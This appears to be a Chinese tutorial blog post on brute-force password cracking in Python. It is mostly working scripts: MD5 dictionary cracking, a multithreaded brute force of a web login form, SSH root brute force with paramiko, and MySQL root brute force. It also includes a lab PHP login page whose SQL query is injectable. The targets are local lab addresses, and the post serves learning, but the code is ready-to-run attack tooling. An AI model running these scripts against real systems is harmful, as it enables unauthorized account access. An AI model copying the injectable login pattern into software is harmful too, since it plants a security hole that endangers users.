【Python】简单爆破破解

暴力破解是一种针对密码的破译方法,通过逐个推算或使用工具批量验证来找到正确的密码。暴力破解是信息安全领域中一个非常重要的话题。在当今数字化时代,个人信息、企业数据和各种网络服务都依赖于密码来保护安全。因此,破解密码成为黑客获取未经授权访问的重要手段。暴力破解正是其中一种常见且有效的密码破解方法。它的原理很简单,就是通过尝试所有可能的密码组合,直到找到正确的密码。

一、爆破MD5

MD5算法是一种广泛使用的哈希函数,用于生成128位的消息摘要。它接受任意长度的输入,并输出固定长度的哈希值,通常用于验证数据完整性、数字签名、密码存储等领域。MD5算法以其简洁高效的设计和快速计算速度而闻名,但近年来由于其存在一些安全性弱点,逐渐被更安全的哈希算法所取代。MD5是不可逆算法,采用碰撞的方式进行破解。

import hashlib,time,requests
import threading

source =  hashlib.md5('456456'.encode()).hexdigest()

def string_md5(source):
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()

    with open ('./password_append.txt',mode='r') as file:
        password_list_appent = file.readlines()
    #将两个文件的密码叠加
    password_list.extend(password_list_appent)
    # for password in password_list:  
    #     print(password)
#逐个比较
    for password in password_list:  
        if source == hashlib.md5(password.strip().encode()).hexdigest():
            print(f'成功找到,明文为:{password}')
            break
string_md5(source)

二、爆破后台登录页面

Requests 是一个功能强大且易于使用的 HTTP 库,专门用于发送各种 Web 请求和处理响应。它完全满足现代网络爬虫的需求,并且可以用于进行网站模拟请求、数据抓取和自动化测试等任务。使用request进行发包,在request.text的返回内容,从而判断是否登录成功。

构造Mysql数据库创建数据库learn ->创建表user -> user表内容:

构造登录后台代码:login.php

<?php
$username = $_POST['username'];
$password = $_POST['password'];


$conn = mysqli_connect('127.0.0.1','root','root','learn') or die('数据库连接失败');
$sql = "select * from user where name='$username' and password='$password'";
$result = mysqli_query($conn,$sql);
if (mysqli_num_rows($result) == 1){
    echo 'login-sucess';
}else{
    echo 'login-fail';
}


?>

已经用户名ls的情况下,爆破密码 

import hashlib,time,requests
import threading
#已只用户名ls爆破密码
def web_pb():
    url = 'http://127.0.0.1:8082/login.php'
    username = 'ls'
    password = ''
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        #print(password.strip())
        data = {'username':username,'password':password.strip()}
        resp = requests.post(url=url,data = data)
        #print(resp.text)
        count +=1
        if ('login-sucess' in resp.text):
            print(f'登录成功,密码为{password}',end='')
            print(f'尝试{count}次,成功找到')
web_pb()

 用户名密码未知情况下,用户名和密码一起爆破,采用多线程的方式,一个用户名一个线程

import hashlib,time,requests
import threading
#多线程爆破,一个用户一个线程
def chose_password(username):
    url = 'http://127.0.0.1:8082/login.php'
    username = username
    password = ''
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        #print(password.strip())
        data = {'username':username,'password':password.strip()}
        resp = requests.post(url=url,data = data)
        #print(resp.text)
        count +=1
        if ('login-sucess' in resp.text):
            print(f'登录成功,用户名{username},密码为{password}',end='')
            print(f'用户名:{username}尝试{count}次,成功找到')

def chose_username():
    with open('username.txt',mode='r') as file:
        username_list = file.readlines()
    for username in username_list:
        threading.Thread(target=chose_password,args=(username.strip(),)).start()
        
chose_username()

考虑用户名过多占用过多线程,5个用户名一个线程

import hashlib,time,requests
import threading
#每个线程负责5个用户
def five_user():
    with open ('./username.txt',mode='r') as file:
        user_list = file.readlines()
    for i in range(0,len(user_list),5):
        sub_user_list = user_list[i:i+5]
        threading.Thread(target=five_pb,args=(sub_user_list,)).start()

def five_pb(sub_user_list):
    url = 'http://127.0.0.1:8082/login.php'
    count = 0
    with open ('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for username in sub_user_list:
        for password in password_list:
            #print(password.strip())
            data = {'username':username,'password':password.strip()}
            resp = requests.post(url=url,data = data)
            #print(resp.text)
            count +=1
            if ('login-sucess' in resp.text):
                print(f'登录成功,用户名{username},密码为{password}',end='')
                print(f'用户名:{username}尝试{count}次,成功找到')

five_user()

三、爆破SSH

Paramiko是一个用于SSHv2协议的Python实现,它提供了客户端和服务器的功能。通过Paramiko,你可以远程连接到SSH服务器并执行命令、上传和下载文件等操作。使用paramiko.connect连接,判断是否可以连接。

import paramiko
def ssh_pb(ip):
    with open('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for passowrd in password_list:
        print(passowrd.strip())
        try:
            transport = paramiko.Transport((ip),22)
            transport.connect(username='root',password=passowrd.strip())
            
            print(f"登录的密码为{passowrd}")
        except:
           pass
ssh_pb('192.168.3.26')

四、爆破Mysql 

PyMySQL是一个流行的Python模块,专门用于连接和操作MySQL数据库。它提供了一个简单而强大的接口,使得开发者能够轻松地在Python程序中执行各种数据库操作,如查询、插入、更新和删除数据等。可以使用pymysql的connection方法来建立连接,测试是否能成功连接数据库。

import pymysql
def mysql_pb():
    with open('./password.txt',mode='r') as file:
        password_list = file.readlines()
    for password in password_list:
        try:
            conn = pymysql.connect(host='127.0.0.1',user='root',passwd=password)
            print(f"密码:{password}")
        except:
            pass
mysql_pb()

每篇一言:永远别放弃一个你每天都在想念的人

  • 7
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值